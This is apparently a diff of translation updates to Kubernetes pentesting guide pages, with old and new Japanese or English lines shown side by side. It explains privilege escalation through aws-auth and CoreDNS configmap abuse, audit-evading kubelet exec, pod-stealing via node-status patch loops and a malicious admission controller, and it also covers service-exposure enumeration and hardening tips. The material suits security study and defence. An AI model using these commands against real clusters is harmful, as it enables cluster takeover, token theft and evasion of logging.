EKS クラスターの kube-system namespace **`configmaps`** を変更できる principalsAWS にいる必要があります)は、**aws-auth** configmap を上書きすることで cluster admin privileges を取得できます。\
必要な verbs は **`update`** と **`patch`**、または configmap がまだ作成されていない場合は **`create`** です:
```bash
# Check if config map exists
get configmap aws-auth -n kube-system -o yaml
@@ -538,18 +541,18 @@ groups:
- system:masters
```
> [!WARNING]
> **`aws-auth`** を **永続化** として使用し、**他のアカウント** からのユーザーにアクセスを与えることができます。
> **`aws-auth`** を **persistence** に使って、**他のアカウント** のユーザーにアクセスを与えることができます。
>
> ただし、`aws --profile other_account eks update-kubeconfig --name <cluster-name>` は **別アカウントからは動作しません**。しかし実際には、クラスター名の代わりにクラスターの ARN を指定すると `aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing` は動作します。\
> `kubectl` を動作させるには、被害者の **kubeconfig** を **configure** し、aws exec の引数に `--profile other_account_role` を追加して、kubectl がトークン取得 AWS への接続で他アカウントのプロファイルを使用するようにしてください。
> ただし、`aws --profile other_account eks update-kubeconfig --name <cluster-name>` は **別アカウントからは動ません**。しかし実際には、クラスタ名だけではなく ARN を使って `aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing` とすると動きます。\
> `kubectl` を動かすには、**victims kubeconfig** を **configure** し、aws exec args に `--profile other_account_role` を追加して、kubectl が他のアカウントの profile を使って token を取得 AWS に接続するようにしてください。
### CoreDNS config map
If you have the permissions to modify the **`coredns` configmap** in the `kube-system` namespace, you can modify the address domains will be resolved to in order to be able to perform MitM attacks to **steal sensitive information or inject malicious content**.
`kube-system` namespace の **`coredns` configmap** を変更する権限がある場合、MitM attacks を実行できるように、ドメインが解決される先の address を変更して、**機密情報を盗んだり悪意のある content を注入したり** できます。
The verbs needed are **`update`** and **`patch`** over the **`coredns`** configmap (or all the config maps).
必要な verbs **`update`** **`patch`** で、**`coredns`** configmap(またはすべての config maps)に対してです。
A regular **coredns file** contains something like this:
通常の **coredns file** には次のようなものが含まれています:
```yaml
data:
Corefile: |
@@ -588,8 +591,8 @@ Another option is to just edit the file running `kubectl edit configmap coredns
There are **2 ways to assign K8s permissions to GCP principals**. In any case the principal also needs the permission **`container.clusters.get`** to be able to gather credentials to access the cluster, or you will need to **generate your own kubectl config file** (follow the next link).
> [!WARNING]
> K8s API エンドポイントとやり取りする際、**GCP の認証トークンが送信されます**。その後、GCP は K8s API エンドポイントを通じて、まずプリンシパル(メールアドレスで)が**クラスター内にアクセス権を持っているか**を確認し、次に**GCP IAM 経由のアクセス権があるか**を確認します。\
> どちらかが当てはまればアクセスが許可されます。どちらも当てはまらない場合は、**GCP IAM 経由での権限付与を示唆するエラー**が返されます。
> When talking to the K8s api endpoint, the **GCP auth token will be sent**. Then, GCP, through the K8s api endpoint, will first **check if the principal** (by email) **has any access inside the cluster**, then it will check if it has **any access via GCP IAM**.\
> If **any** of those are **true**, he will be **responded**. If **not** an **error** suggesting to give **permissions via GCP IAM** will be given.
Then, the first method is using **GCP IAM**, the K8s permissions have their **equivalent GCP IAM permissions**, and if the principal have it, it will be able to use it.
@@ -641,13 +644,13 @@ websocat --insecure \
--protocol "v4.channel.k8s.io" \
"wss://$NODE_IP:10250/exec/$NAMESPACE/$POD/$CONTAINER?output=1&error=1&command=id"
```
- **Node IP** を使用し、node name ではなく。同じリクエストを `curl -X POST` で送ると、`create` にマップされるため **Forbidden** になります。
- kubelet への直接アクセスは API server をバイパスするため、AuditPolicy は kubelet user agent からの `subjectaccessreviews` のみが表示され、**`pods/exec` はログに残りません**。
- 影響を受けるサービスアカウントを [detection script](https://gist.github.com/grahamhelton/f5c8ce265161990b0847ac05a74e466a) で列挙し、`nodes/proxy` GET に限されたトークンを見つけてください
- **Node IP** を使用し、node name は使わないでください。`curl -X POST` を使った同じ request は `create` にマップされるため **Forbidden** になります。
- 直接の kubelet access は API server をバイパスするので、AuditPolicy は kubelet user agent からの `subjectaccessreviews` だけが表示され、`pods/exec` command は **ログに記録されません**。
- [detection script](https://gist.github.com/grahamhelton/f5c8ce265161990b0847ac05a74e466a) で影響を受ける service accounts を列挙し、`nodes/proxy` GET に限された tokens を見つけます
### pods の削除 + ノードを unschedulable にする
### Delete pods + unschedulable nodes
プリンシパルが **pods を削除できる**`pods` リソースに対する `delete` 動詞)、または **pods を evict できる**`pods/eviction` リソースに対する `create` 動詞)、または **pod ステータスを変更できる**`pods/status` へのアクセス)と同時に **他の nodes を unschedulable にできる**`nodes/status` へのアクセス)か **nodes を削除できる**`nodes` リソースに対する `delete` 動詞)権限を持ち、かつある pod を制御できる場合、他の nodes から **pods を盗用して**それらを侵害された node 上で**実行**させ、攻撃者がそれらの pods からトークンを**盗む**可能性があります。
**pods を delete** できる principal`pods` resource に対する `delete` verb)、または **pods を evict** できる principal`pods/eviction` resource に対する `create` verb)、または **pod status を change** できる principal`pods/status` への access)で、さらに **他の nodes を unschedulable に make** できる(`nodes/status` への access)か **nodes を delete** できる(`nodes` resource に対する `delete` verb、かつ pod を control している場合、**他の nodes から pods を steal** して、それらを **compromised** な **node** 上で **executed** させることができ、attacker はそれらの pods から tokens を **steal** できます。
```bash
patch_node_capacity(){
curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]'
@@ -658,43 +661,43 @@ while true; do patch_node_capacity <id_other_node>; done &
kubectl delete pods -n kube-system <privileged_pod_name>
```
### サービスのステータス (CVE-2020-8554)
### Services status (CVE-2020-8554)
`services/status` を**変更できる**主体は、`status.loadBalancer.ingress.ip` フィールドを設定して未修正の CVE-2020-8554 を悪用し、クラスターに対して **MiTM 攻撃** を仕掛ける可能性があります。CVE-2020-8554 に対するほとんどの緩和策は ExternalIP services のみを防ぐにとどまります([**this**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego) による)。
`services/status` を **modify** できる Principals は、`status.loadBalancer.ingress.ip` フィールドを設定して、**未修正の CVE-2020-8554** を悪用し、cluster に対して **MiTM attacks** を実行できます。CVE-2020-8554 に対する多くの mitigations は ExternalIP services のみを防ます([**this**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego) 参照)。
### ノードと Pod のステータス
### Nodes and Pods status
`nodes/status` または `pods/status` に対して **`update`** または **`patch`** 権限を持つ主体は、スケジューリング制約に影響するラベルを変更することができます。
`nodes/status` または `pods/status` に対して **update** または **patch** 権限を持つ Principals は、labels を変更して、強制される scheduling constraints に影響を与えられます。
## 組み込みの特権昇格防止機構
## Built-in Privileged Escalation Prevention
Kubernetes には権限昇格を防ぐための [built-in mechanism](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping) があります。
Kubernetes には、privilege escalation を防ぐための [built-in mechanism](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping) があります。
この仕組みによって、**ユーザーが roles role bindings を変更して権限を昇格させることができない**ように保証されます。この規則の適用は API レベルで行われるため、RBAC authorizer が無効でも保護が働きます。
このシステムは、**users cannot elevate their privileges by modifying roles or role bindings** ことを保証します。このルールの enforcement は API level で行われ、RBAC authorizer が inactive の場合でも safeguard を提供します。
このルールは、**ユーザーがそのロールに含まれるすべての権限を所有している場合にのみロールを作成または更新できる**と定めています。さらに、ユーザーの既存の権限のスコープは、作成または変更しようとするロールのスコープと一致している必要がありますClusterRoles ならクラスター全体、Roles なら同じ namespace(またはクラスター全体)に限定されます。
このルールは、**user can only create or update a role if they possess all the permissions the role comprises** とされています。さらに、user の既存の permissions の scope は、作成または変更しようとしている role の scope と一致している必要があります。つまり、ClusterRoles なら cluster-wide、Roles なら同じ namespace(または cluster-wide)に限定されます。
> [!WARNING]
> 前のルールには例外があります。主体が **`roles`** または **`clusterroles`** に対して **動詞 `escalate`** の権限を持っている場合、本人がその権限を持っていなくても roles clusterroles の権限を増やすことができます。
> 前のルールには例外があります。Principals が **verb `escalate`** を **`roles`** または **`clusterroles`** に対して持っている場合、本人がその permissions を持っていなくても roles clusterroles の privileges を増やせます。
### **RoleBindings/ClusterRoleBindings の取得とパッチ**
### **Get & Patch RoleBindings/ClusterRoleBindings**
> [!CAUTION]
> **一見この手法は以前は動作していたようですが、私のテストでは前節と同じ理由により現在はもう動作しません。既に持っていない権限を自分や別の SA に与えるために rolebinding を作成/変更することはできません。**
> **どうやらこの technique は以前は動いていましたが、私の tests によると、前の section で説明したのと同じ理由で、もはや動きません。自分自身や別の SA に privileges を与えるために rolebinding を create/modify することは、すでにその privileges を持っていない限りできません。**
Rolebinding を作成する権限があれば、ユーザーは roles を service account にバインドできます。この権限は、ユーザーが侵害された service account に admin privileges をバインドできるため、特権昇格につながる可能性があります。
Rolebindings create する privilege により、user は **roles を service account に bind できます**。この privilege は、**compromised service account に admin privileges を bind できる**ため、privilege escalation につながる可能性があります。
## その他の攻撃
## Other Attacks
### Sidecar proxy アプリ
### Sidecar proxy app
デフォルトでは pods 間の通信は暗号化されていません。相互認証(双方向、pod 間)は行われていません
デフォルトではpods 間の通信に encryption はありません。Mutual authentication、双方向、pod to pod
#### Sidecar proxy アプリの作成
#### Create a sidecar proxy app
Sidecar コンテナは、単に pod の内部に**2 目(またはそれ以上)のコンテナを追加する**ことから成ります。
sidecar container とは、単に **pod 内に 2 目(またはそれ以上)の container を追加すること**です。
えば、以下は 2 つのコンテナを持つ pod の設定の一部です
たとえば、は 2 つの containers を持つ pod の configuration の一部です
```yaml
spec:
containers:
@@ -704,15 +707,15 @@ image: nginx
image: busybox
command: ["sh","-c","<execute something in the same pod but different container>"]
```
例えば、既存の pod に新しい container backdoor を仕掛けるには、specification に新しい container を追加するだけでよい。注意として、2番目の container に最初のものが持たないような権限を**より多く与える**ことができる点がある
例えば、既存の pod に新しい container を使って backdoor を仕込むには、仕様に新しい container を追加するだけでよい。2つ目の container には、1つ目にはない **より多くの権限を与えられる** ことに注意
しくは: [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/)
細はこちら: [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/)
### 悪意のある Admission Controller
### Malicious Admission Controller
An admission controller は、リクエストが**認証され**および**認可された**後、オブジェクトの永続化が行われる前に、**Kubernetes API server へのリクエストを傍受する**
admission controller は、オブジェクトの永続化の前に、しかし **リクエストが認証された後** かつ **認可された** に、**Kubernetes API server へのリクエストをインターセプト** する
もし攻撃者が何らかの方法で **inject a Mutation Admission Controller** できれば、既に認証されたリクエストを**変更する**ことが可能になる。これにより privesc が発生する可能性があり、より一般的にはクラスタ内に永続化することができる。
攻撃者が何らかの方法で **Mutation Admission Controller を注入** できれば、**すでに認証済みのリクエストを変更** できるようになる。これにより、潜在的に privesc が可能になり、さらに一般的には cluster 内に persist できる。
**Example from** [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers):
```bash
@@ -721,30 +724,30 @@ cd malicious-admission-controller-webhook-demo
./deploy.sh
kubectl get po -n webhook-demo -w
```
準備できているかどうか、ステータスを確認してください:
状態を確認して、準備できているかてください:
```bash
kubectl get mutatingwebhookconfigurations
kubectl get deploy,svc -n webhook-demo
```
![mutating-webhook-status-check.PNG](https://cdn.hashnode.com/res/hashnode/image/upload/v1628433436353/yHUvUWugR.png?auto=compress,format&format=webp)
次に新しい pod をデプロイします:
次に新しい pod を deploy する:
```bash
kubectl run nginx --image nginx
kubectl get po -w
```
`ErrImagePull` エラーが表示される場合は、のいずれかのクエリでイメージ名を確認してください:
`ErrImagePull` エラーが見える場合は、以下のいずれかのクエリで image 名を確認してください:
```bash
kubectl get po nginx -o=jsonpath='{.spec.containers[].image}{"\n"}'
kubectl describe po nginx | grep "Image: "
```
![malicious-admission-controller.PNG](https://cdn.hashnode.com/res/hashnode/image/upload/v1628433512073/leFXtgSzm.png?auto=compress,format&format=webp)
上の画像にあるように、イメージ `nginx` を実行しようとしましたが、実際に実行されたのは `rewanthtammana/malicious-image` でした。これは一体何が起きたのでしょうか
上の画像で見られるように、image `nginx` を実行しようとしたのに、最終的に実行された image は `rewanthtammana/malicious-image` でした。いったい何が起きたのでしょうか!!?
#### 技術的な詳細
#### Technicalities
The `./deploy.sh` script establishes a mutating webhook admission controller, which modifies requests to the Kubernetes API as specified in its configuration lines, influencing the outcomes observed:
`./deploy.sh` スクリプトは mutating webhook admission controller を作成し、その設定行に従って Kubernetes API への request を変更します。これにより、観測された結果に影響を与えます:
```
patches = append(patches, patchOperation{
Op: "replace",
@@ -752,7 +755,7 @@ Path: "/spec/containers/0/image",
Value: "rewanthtammana/malicious-image",
})
```
上のスニペットは、すべての pod の最初のコンテナイメージを `rewanthtammana/malicious-image` に置き換えます。
上のスニペットは、すべての pod の最初の container image を `rewanthtammana/malicious-image` に置き換えます。
## OPA Gatekeeper bypass
@@ -760,22 +763,22 @@ Value: "rewanthtammana/malicious-image",
../kubernetes-opa-gatekeeper/kubernetes-opa-gatekeeper-bypass.md
{{#endref}}
## ベストプラクティス
## Best Practices
### **Service Account Tokens の自動マウントを無効化する**
### **Service Account Tokens の Automount を無効化する**
- **Pods and Service Accounts**: デフォルトでは、pods は service account token をマウントします。セキュリティ強化ため、Kubernetes はこの自動マウント機能を無効化できます。
- **How to Apply**: Kubernetes バージョン 1.6 以降、service account または pod の設定で `automountServiceAccountToken: false` を設定します。
- **Pods and Service Accounts**: デフォルトでは、pod は service account token を mount します。セキュリティ強化するため、Kubernetes はこの automount 機能を無効化できます。
- **How to Apply**: Kubernetes version 1.6 以降では、service accounts または pods の設定で `automountServiceAccountToken: false` を設定します。
### **RoleBindings/ClusterRoleBindings における制限的なユーザー割り当て**
### **RoleBindings/ClusterRoleBindings における制限的な User Assignment**
- **Selective Inclusion**: RoleBindings ClusterRoleBindings に必要なユーザーだけが含まれるようにしてください。定期的に監査し、不要なユーザーを削除し厳格なセキュリティを維持します。
- **Selective Inclusion**: RoleBindings または ClusterRoleBindings に必要な users のみを含めるようにしてください。定期的に audit して不要な users を削除し厳格な security を維持します。
### **Namespace 固有の Roles を優先し、Cluster 全体の Roles を避ける**
### **Cluster-Wide Roles より Namespace-Specific Roles を使う**
- **Roles vs. ClusterRoles**: Namespace 固有の権限には、クラスタ全体に適用される ClusterRoles ClusterRoleBindings ではなく、Roles と RoleBindings を使用することを推奨します。このアプローチはより細かい制御を提供し、権限の範囲を制限します。
- **Roles vs. ClusterRoles**: cluster-wide に適用される ClusterRoles ClusterRoleBindings よりも、namespace-specific permissions には Roles と RoleBindings を使ことを推奨します。この方法は、より細かい control を提供し、permissions の scope を制限します。
### **自動化ツールを使用する**
### **自動化ツールを使**
{{#ref}}
https://github.com/cyberark/KubiScan
@@ -789,7 +792,7 @@ https://github.com/aquasecurity/kube-hunter
https://github.com/aquasecurity/kube-bench
{{#endref}}
## **参考資料**
## **References**
- [**https://www.cyberark.com/resources/threat-research-blog/securing-kubernetes-clusters-by-eliminating-risky-permissions**](https://www.cyberark.com/resources/threat-research-blog/securing-kubernetes-clusters-by-eliminating-risky-permissions)
- [**https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-1**](https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-1)
@@ -1,12 +1,12 @@
# Kubernetesにおけるサービスの公開
# Exposing Services in Kubernetes
{{#include ../../banners/hacktricks-training.md}}
Kubernetesには、**内部**エンドポイントと**外部**エンドポイントの両方アクセスできるようにサービスを公開する**さまざまな方法**があります。このKubernetesの設定は非常に重要であり、管理者が**攻撃者にアクセスしてはいけないサービスへのアクセスを与える**可能性があります。
Kubernetes では、サービスを公開するための**さまざまな方法**があり、**内部**エンドポイントと**外部**エンドポイントの両方からアクセスできます。この Kubernetes の設定はかなり重要で、管理者が**本来アクセスできないはずのサービスへのアクセスを attackers に与えてしまう**可能性があります。
### 自動列挙
### Automatic Enumeration
K8sがサービスを公開する方法を列挙る前に、名前空間、サービス、イングレスをリストできる場合、次のコマンドを使用して公開されているすべてのものを見つけることができることを知っておいてください:
K8s がサービスを public に expose する方法を列挙し始める前に、namespace、services、ingresses を list できるなら、public に expose されているものをすべて次の方法で見つけられることを知っておいてください:
```bash
kubectl get namespace -o custom-columns='NAME:.metadata.name' | grep -v NAME | while IFS='' read -r ns; do
echo "Namespace: $ns"
@@ -20,21 +20,21 @@ done | grep -v "ClusterIP"
```
### ClusterIP
**ClusterIP** サービスは、**デフォルト** の Kubernetes **サービス** です。これは、クラスター内の他のアプリがアクセスできる **クラスター内のサービス** を提供します。**外部アクセス** はありません。
**ClusterIP** service は、Kubernetes **default** **service** です。これは、cluster 内の他の app からアクセスできる **cluster 内の service** を提供します。**external access** はありません。
しかし、これは Kubernetes プロキシを使用してアクセスできます
ただし、Kubernetes Proxy を使用してアクセスできます:
```bash
kubectl proxy --port=8080
```
今、次のスキームを使用してKubernetes APIを介してサービスにアクセスできます
現在、このスキームを使てKubernetes APIをたどり、servicesにアクセスできます
`http://localhost:8080/api/v1/proxy/namespaces/<NAMESPACE>/services/<SERVICE-NAME>:<PORT-NAME>/`
えば、次のURLを使用できます
たとえば、次のURLを使ます
`http://localhost:8080/api/v1/proxy/namespaces/default/services/my-internal-service:http/`
このサービスにアクセスするために:
この service にアクセスするためです:
```yaml
apiVersion: v1
kind: Service
@@ -50,21 +50,21 @@ port: 80
targetPort: 80
protocol: TCP
```
_この方法では、**認証されたユーザー**として `kubectl` を実行する必要があります。_
_この方法では、`kubectl` を **認証済みユーザー** として実行する必要があります。_
ClusterIP一覧表示します:
すべての ClusterIP一覧表示します:
```bash
kubectl get services --all-namespaces -o=custom-columns='NAMESPACE:.metadata.namespace,NAME:.metadata.name,TYPE:.spec.type,CLUSTER-IP:.spec.clusterIP,PORT(S):.spec.ports[*].port,TARGETPORT(S):.spec.ports[*].targetPort,SELECTOR:.spec.selector' | grep ClusterIP
```
### NodePort
**NodePort**が利用されると、すべてのノード(仮想マシンを表す)で指定されたポートが利用可能になります。この特定のポートに向けられた**トラフィック**は、体系的に**サービスにルーティング**されます。通常、この方法は欠点があるため推奨されません。
**NodePort** が利用されると、指定されたポートがすべての NodesVirtual Machines を表す)で利用可能になります。特定のポート宛ての **Traffic** は、その後体系的に **service にルーティング** されます。通常、この方法は欠点があるため推奨されません。
すべてのNodePortをリストします:
すべての NodePorts を一覧表示:
```bash
kubectl get services --all-namespaces -o=custom-columns='NAMESPACE:.metadata.namespace,NAME:.metadata.name,TYPE:.spec.type,CLUSTER-IP:.spec.clusterIP,PORT(S):.spec.ports[*].port,NODEPORT(S):.spec.ports[*].nodePort,TARGETPORT(S):.spec.ports[*].targetPort,SELECTOR:.spec.selector' | grep NodePort
```
NodePort仕様の例
NodePort 仕様の例:
```yaml
apiVersion: v1
kind: Service
@@ -81,28 +81,30 @@ targetPort: 80
nodePort: 30036
protocol: TCP
```
もしyamlで**nodePort**を**指定しない**場合(開かれるポートです)、**30000–32767の範囲のポートが使用されます**
yamlで**nodePort**を指定しない**場合**(これは開放されるポートです)、**3000032767**の範囲のポートが使れます。
### LoadBalancer <a href="#id-0d96" id="id-0d96"></a>
### LoadBalancer
**クラウドプロバイダーのロードバランサーを使用して**サービスを外部に公開します。GKEでは、[Network Load Balancer](https://cloud.google.com/compute/docs/load-balancing/network/)が起動され、サービスへのすべてのトラフィックを転送する単一のIPアドレスが提供されます。AWSでは、ロードバランサーが起動されます。
Serviceを外部に**cloud providerのload balancerを使用して**公開します。GKEでは、これにより[Network Load Balancer](https://cloud.google.com/compute/docs/load-balancing/network/)が起動し、すべてのトラフィックをServiceに転送する単一のIP addressが提供されます。AWSではLoad Balancerが起動ます。
公開されたサービスごとにロードバランサーの料金が発生し、高額になる可能性があります。
公開された各ServiceごとにLoadBalancerの料金を支払う必要があり、これは高額になることがあります。
すべてのロードバランサーをリストします
すべてのLoadBalancersを一覧表示します:
```bash
kubectl get services --all-namespaces -o=custom-columns='NAMESPACE:.metadata.namespace,NAME:.metadata.name,TYPE:.spec.type,CLUSTER-IP:.spec.clusterIP,EXTERNAL-IP:.status.loadBalancer.ingress[*],PORT(S):.spec.ports[*].port,NODEPORT(S):.spec.ports[*].nodePort,TARGETPORT(S):.spec.ports[*].targetPort,SELECTOR:.spec.selector' | grep LoadBalancer
```
### External IPs <a href="#external-ips" id="external-ips"></a>
### External IPs
> [!TIP]
> 外部IPは、Load Balancerタイプのサービスによって公開され、一般的に外部Cloud Provider Load Balancerが使用されるときに使用されます。
> External IPs は、Load Balancers タイプの services によって exposed され、一般的には external Cloud Provider Load Balancer が使われている場合に使われます。
>
> それらを見つけるには、`EXTERNAL-IP`フィールドに値があるロードバランサーを確認してください。
> 見つけるには、`EXTERNAL-IP` フィールドに値がある load balancers を確認してください。
クラスターに入るトラフィックが**外部IP****宛先IP**)で、サービスポートである場合、**サービスエンドポイントの1つにルーティングされます**`externalIPs`Kubernetesによって管理されず、クラスター管理者の責任です。
**external IP****destination IP**)として cluster に ingress する traffic は、Service port 上で **Service endpoints のいずれかへ routed** されます。`externalIPs`Kubernetes によって managed されず、cluster administrator の責任です。
サービス仕様では、`externalIPs`は任意の`ServiceTypes`と共に指定できます。以下の例では、"`my-service`"はクライアントによって"`80.11.12.10:80`"`externalIP:port`)でアクセスできます
`externalIPs` は sensitive な route-control field です。なぜなら、それを設定できる user は、周囲の network がその IP を cluster に route している場合、Service owner が control すべきではない IP address への traffic を claim できてしまうからです。Kubernetes は v1.36 で Service `externalIPs` の deprecation と planned removal を announced しているため、可能なら LoadBalancer integrations や Gateway API のような controller-owned の exposure mechanism を優先し、まだ存在している間もこの field は慎重に restrict/admit してください
Service spec では、`externalIPs` は任意の `ServiceTypes` とあわせて指定できます。下の example では、"`my-service`" は "`80.11.12.10:80`" (`externalIP:port`) 上の clients から access できます。
```yaml
apiVersion: v1
kind: Service
@@ -121,9 +123,9 @@ externalIPs:
```
### ExternalName
[**From the docs:**](https://kubernetes.io/docs/concepts/services-networking/service/#externalname) ExternalNameタイプのサービスは、**サービスをDNS名にマッピングします**。`my-service``cassandra`のような典型的なセレクタにはマッピングしません。これらのサービスは`spec.externalName`パラメータで指定します。
[**ドキュメントより:**](https://kubernetes.io/docs/concepts/services-networking/service/#externalname) ExternalName 型の Services は、通常の selector である `my-service``cassandra` ではなく、**Service を DNS 名にマップ**します。これらの Services は `spec.externalName` パラメータで指定します。
このサービス定義は、例えば、`prod`ネームスペースの`my-service`サービスを`my.database.example.com`にマッピングします
例えば、この Service 定義は、`prod` namespace の `my-service` Service を `my.database.example.com` にマッします:
```yaml
apiVersion: v1
kind: Service
@@ -134,56 +136,95 @@ spec:
type: ExternalName
externalName: my.database.example.com
```
`my-service.prod.svc.cluster.local`というホストを調べると、クラスターDNSサービスは値`my.database.example.com`を持つ`CNAME`レコードを返します。`my-service`へのアクセスは他のサービスと同様に機能しますが、重要な違いは**リダイレクションがDNSレベルで行われる**ということです。
ホスト `my-service.prod.svc.cluster.local` を参照すると、cluster DNS Service は値 `my.database.example.com``CNAME` レコードを返します。`my-service` へのアクセスは他の Services と同じように動作しますが、重要な違いとして、**redirection は proxying や forwarding ではなく DNS レベルで発生する** ことです。
すべてのExternalNamesをリストします:
すべての ExternalNames を一覧表示します:
```bash
kubectl get services --all-namespaces | grep ExternalName
```
### EndpointSlices
EndpointSlices は、Service が現在ルーティングしている具体的な backend のアドレスと port を示します。Service に selector がない場合、label だけでは traffic の経路が分からない場合、または一部の backend だけが ready な場合に特に有用です。
Services に関連付けられた EndpointSlices を一覧表示します:
```bash
kubectl get endpointslices --all-namespaces
kubectl get endpointslice -n <namespace> -l kubernetes.io/service-name=<service-name> -o yaml
kubectl get endpointslice -n <namespace> -l kubernetes.io/service-name=<service-name> \
-o custom-columns='NAME:.metadata.name,ADDR:.endpoints[*].addresses,READY:.endpoints[*].conditions.ready,PORTS:.ports[*].port'
```
露出をレビューする際は、Service selector と EndpointSlice の `targetRef`、endpoint addresses、readiness conditions、ports を比較してください。selector のない Service は、手動で管理された EndpointSlices と組み合わせることができ、トラフィックを non-Pod や予期しない宛先へルーティングできます。
### Ingress
上記のすべての例とは異なり、**Ingressはサービスの一種ではありません**。代わり、**複数のサービスの前に位置し、「スマートルーター」として機能します**またはクラスターへのエントリポイントす。
上記の例とは異なり、**Ingress は service の種類ではありません**。その代わり、**複数の services の前段に置かれ、cluster への “smart router”** またはエントリポイントとして機能します。
Ingressを使用すると、さまざまなことができます。また、**異なる機能を持つ多くのタイプのIngressコントローラーがあります**
Ingress ではさまざまなことができます、**異なる機能を持つ多くの種類の Ingress controllers** があります。
デフォルトのGKE Ingressコントローラーは、[HTTP(S) Load Balancer](https://cloud.google.com/compute/docs/load-balancing/http/)を自動的に作成します。これにより、パスベースおよびサブドメインベースのルーティングをバックエンドサービスに対して行うことができます。たとえば、foo.yourdomain.comのすべてをfooサービスに送信し、yourdomain.com/bar/パスの下のすべてをbarサービスに送信できます。
デフォルトの GKE ingress controller は、[HTTP(S) Load Balancer](https://cloud.google.com/compute/docs/load-balancing/http/) を自動で立ち上げます。これにより、path ベースと subdomain ベースの両方で backend services への routing が可能になります。たとえば、foo.yourdomain.comのすべてを foo service に送り、yourdomain.com/bar/ path 配下のすべてを bar service に送ることができます。
GKE上の[L7 HTTP Load Balancer](https://cloud.google.com/compute/docs/load-balancing/http/)を使用したIngressオブジェクトのYAML次のようになります:
GKE 上の [L7 HTTP Load Balancer](https://cloud.google.com/compute/docs/load-balancing/http/) を使った Ingress object の YAML は、次のようになるかもしれません:
```yaml
apiVersion: extensions/v1beta1
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
name: my-ingress
spec:
backend:
serviceName: other
servicePort: 8080
defaultBackend:
service:
name: other
port:
number: 8080
rules:
- host: foo.mydomain.com
http:
paths:
- backend:
serviceName: foo
servicePort: 8080
- path: /
pathType: Prefix
backend:
service:
name: foo
port:
number: 8080
- host: mydomain.com
http:
paths:
- path: /bar/*
- path: /bar
pathType: Prefix
backend:
serviceName: bar
servicePort: 8080
service:
name: bar
port:
number: 8080
```
すべてのイングレスをリストします:
すべての ingress を一覧表示します:
```bash
kubectl get ingresses --all-namespaces -o=custom-columns='NAMESPACE:.metadata.namespace,NAME:.metadata.name,RULES:spec.rules[*],STATUS:status'
```
この場合、各情報をつずつ取得して、より良く読む方が良いです
とはいえ、この場合は各項目の情報を1つずつ取得して、より読みやすくするほうがよいです:
```bash
kubectl get ingresses --all-namespaces -o=yaml
```
### 参考文献
### Gateway API
Gateway API は、Services を公開するための新しい Kubernetes API です。インフラ所有の Gateway objects と、HTTPRoute のようなアプリケーション所有の Route objects を分離します。これは delegation に有用ですが、露出が namespaces をまたいで分割される可能性も意味します。
Gateway API exposure objects を列挙します:
```bash
kubectl get gatewayclasses
kubectl get gateways --all-namespaces
kubectl get httproutes --all-namespaces
kubectl get gateway -n <namespace> <gateway-name> -o yaml
kubectl get httproute -n <namespace> <route-name> -o yaml
```
Gateway listeners、許可された route namespaces、Route の `parentRefs`、hostnames、filters、backend references、そして Route が accepted されたかどうかなどの status conditions を確認してください。共有 Gateway によって accepted された Route は、legacy Ingress object が存在しなくても backend を expose できる場合があります。
### References
- [https://medium.com/google-cloud/kubernetes-nodeport-vs-loadbalancer-vs-ingress-when-should-i-use-what-922f010849e0](https://medium.com/google-cloud/kubernetes-nodeport-vs-loadbalancer-vs-ingress-when-should-i-use-what-922f010849e0)
- [https://kubernetes.io/docs/concepts/services-networking/service/](https://kubernetes.io/docs/concepts/services-networking/service/)
- [https://kubernetes.io/blog/2026/05/14/kubernetes-v1-36-deprecation-and-removal-of-service-externalips/](https://kubernetes.io/blog/2026/05/14/kubernetes-v1-36-deprecation-and-removal-of-service-externalips/)
- [https://kubernetes.io/docs/concepts/services-networking/endpoint-slices/](https://kubernetes.io/docs/concepts/services-networking/endpoint-slices/)
- [https://gateway-api.sigs.k8s.io/](https://gateway-api.sigs.k8s.io/)
{{#include ../../banners/hacktricks-training.md}}
@@ -4,86 +4,86 @@
## Kubernetes Tokens
もしあなたがマシンへのアクセスを侵害した場合、ユーザーはKubernetesプラットフォームにアクセスできるかもしれません。トークンは通常、**env var `KUBECONFIG`**で指し示されるファイルか、**`~/.kube`**の中にあります。
If you have compromised access to a machine the user may have access to some Kubernetes platform. The token is usually located in a file pointed by the **env var `KUBECONFIG`** or **inside `~/.kube`**.
このフォルダには、**APIサーバーに接続するためのトークンと設定を含む設定ファイル**が見つかるかもしれません。このフォルダには、以前に取得した情報を含むキャッシュフォルダもあります。
In this folder you might find config files with **tokens and configurations to connect to the API server**. In this folder you can also find a cache folder with information previously retrieved.
Kubernetes環境内のポッドを侵害した場合、トークンや現在のK8環境に関する情報を見つけることができる他の場所があります。
If you have compromised a pod inside a kubernetes environment, there are other places where you can find tokens and information about the current K8 env:
### Service Account Tokens
続ける前に、Kubernetesにおけるサービスが何であるか知らない場合は、**このリンクをフォローしてKubernetesアーキテクチャに関する情報を少なくとも読むことをお勧めします。**
Before continuing, if you don't know what is a service in Kubernetes I would suggest you to **follow this link and read at least the information about Kubernetes architecture.**
Kubernetesの[ドキュメント](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/#use-the-default-service-account-to-access-the-api-server)からの引用:
Taken from the Kubernetes [documentation](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/#use-the-default-service-account-to-access-the-api-server):
_「ポッドを作成する際、サービスアカウントを指定しない場合、同じ名前空間内のデフォルトサービスアカウントが自動的に割り当てられます。」_
